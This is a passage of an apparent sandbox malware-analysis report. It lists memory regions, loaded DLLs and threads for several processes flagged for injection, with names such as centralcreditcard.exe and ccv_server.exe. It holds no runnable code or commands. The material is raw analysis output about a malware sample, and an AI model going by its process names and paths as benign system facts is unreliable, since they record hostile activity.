= pagefile_backed name = "pagefile_0x0000000000dd0000" filename = "" Region: id = 3639 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5979 start_va = 0xde0000 end_va = 0xde0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000de0000" filename = "" Region: id = 5980 start_va = 0x2330000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002330000" filename = "" Region: id = 5981 start_va = 0x24f0000 end_va = 0x2826fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 263 os_tid = 0xfac Thread: id = 264 os_tid = 0xfa4 Thread: id = 359 os_tid = 0x1104 Process: id = "61" image_name = "afr38.exe" filename = "c:\\program files\\windows mail\\afr38.exe" page_root = "0x6ae21000" os_pid = "0xf94" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Windows Mail\\afr38.exe\" " cur_dir = "C:\\Program Files\\Windows Mail\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3640 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3641 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3642 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3643 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3644 start_va = 0x90000 end_va = 0x93fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 3645 start_va = 0xa0000 end_va = 0xa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 3646 start_va = 0xb0000 end_va = 0xb1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 3647 start_va = 0xc0000 end_va = 0xd6fff monitored = 0 entry_point = 0xc14a1 region_type = mapped_file name = "afr38.exe" filename = "\\Program Files\\Windows Mail\\afr38.exe" (normalized: "c:\\program files\\windows mail\\afr38.exe") Region: id = 3648 start_va = 0xe0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3649 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 3650 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 3651 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3652 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3653 start_va = 0x4c0000 end_va = 0x4c3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 3654 start_va = 0x510000 end_va = 0x513fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 3655 start_va = 0x560000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 3656 start_va = 0x760000 end_va = 0x8e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 3657 start_va = 0x8f0000 end_va = 0xa70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 3658 start_va = 0xa80000 end_va = 0x1e7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 3659 start_va = 0x1e80000 end_va = 0x1f3bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e80000" filename = "" Region: id = 3660 start_va = 0x1f50000 end_va = 0x1f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3661 start_va = 0x20b0000 end_va = 0x20bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 3662 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3663 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3664 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3665 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3666 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3667 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3668 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3669 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3670 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3671 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3672 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3673 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 3674 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3675 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3676 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3677 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3678 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3679 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3680 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3681 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3682 start_va = 0x7f350000 end_va = 0x7f44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f350000" filename = "" Region: id = 3683 start_va = 0x7f450000 end_va = 0x7f472fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f450000" filename = "" Region: id = 3684 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3685 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3686 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3687 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 3688 start_va = 0x4d0000 end_va = 0x4d3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3689 start_va = 0x4e0000 end_va = 0x4e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 3690 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 3691 start_va = 0x520000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 3692 start_va = 0x660000 end_va = 0x75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 3693 start_va = 0x4f0000 end_va = 0x4f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 3694 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5967 start_va = 0x500000 end_va = 0x500fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 5968 start_va = 0x1f60000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 5969 start_va = 0x20c0000 end_va = 0x23f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 265 os_tid = 0xfa8 Thread: id = 266 os_tid = 0xf98 Thread: id = 360 os_tid = 0x674 Process: id = "62" image_name = "centralcreditcard.exe" filename = "c:\\program files (x86)\\windows mail\\centralcreditcard.exe" page_root = "0x56e3f000" os_pid = "0xfb8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Windows Mail\\centralcreditcard.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Mail\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3455 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3456 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3457 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3458 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3459 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3460 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 3461 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3462 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3463 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3464 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3465 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 3466 start_va = 0x5d0000 end_va = 0x5d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 3467 start_va = 0x600000 end_va = 0x603fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 3468 start_va = 0x610000 end_va = 0x613fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 3469 start_va = 0x630000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 3470 start_va = 0x730000 end_va = 0x8b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 3471 start_va = 0x8c0000 end_va = 0xa40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 3472 start_va = 0xa50000 end_va = 0xb0bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a50000" filename = "" Region: id = 3473 start_va = 0xbc0000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 3474 start_va = 0xc30000 end_va = 0xc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 3475 start_va = 0xe40000 end_va = 0xe56fff monitored = 0 entry_point = 0xe414a1 region_type = mapped_file name = "centralcreditcard.exe" filename = "\\Program Files (x86)\\Windows Mail\\centralcreditcard.exe" (normalized: "c:\\program files (x86)\\windows mail\\centralcreditcard.exe") Region: id = 3476 start_va = 0xe60000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e60000" filename = "" Region: id = 3477 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3478 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3479 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3480 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3481 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3482 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3483 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3484 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3485 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3486 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3487 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3488 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 3489 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3490 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3491 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3492 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3493 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3494 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3495 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3496 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3497 start_va = 0x7e3d0000 end_va = 0x7e4cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e3d0000" filename = "" Region: id = 3498 start_va = 0x7e4d0000 end_va = 0x7e4f2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e4d0000" filename = "" Region: id = 3499 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3500 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3501 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3502 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 3523 start_va = 0x620000 end_va = 0x623fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 3524 start_va = 0xb10000 end_va = 0xb10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b10000" filename = "" Region: id = 3525 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 3526 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3527 start_va = 0x4d0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3528 start_va = 0xb20000 end_va = 0xb20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b20000" filename = "" Region: id = 3529 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5973 start_va = 0xb30000 end_va = 0xb30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b30000" filename = "" Region: id = 5974 start_va = 0xb30000 end_va = 0xbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 5975 start_va = 0x2260000 end_va = 0x2596fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 267 os_tid = 0xfcc Thread: id = 268 os_tid = 0xfbc Thread: id = 357 os_tid = 0x6e8 Process: id = "63" image_name = "ccv_server.exe" filename = "c:\\program files (x86)\\windowspowershell\\ccv_server.exe" page_root = "0x5a135000" os_pid = "0xfb0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\WindowsPowerShell\\ccv_server.exe\" " cur_dir = "C:\\Program Files (x86)\\WindowsPowerShell\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3530 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3531 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3532 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3533 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3534 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3535 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 3536 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3537 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3538 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3539 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3540 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 3541 start_va = 0x4d0000 end_va = 0x4d3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3542 start_va = 0x5e0000 end_va = 0x5e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3543 start_va = 0x5f0000 end_va = 0x5f3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 3544 start_va = 0x630000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 3545 start_va = 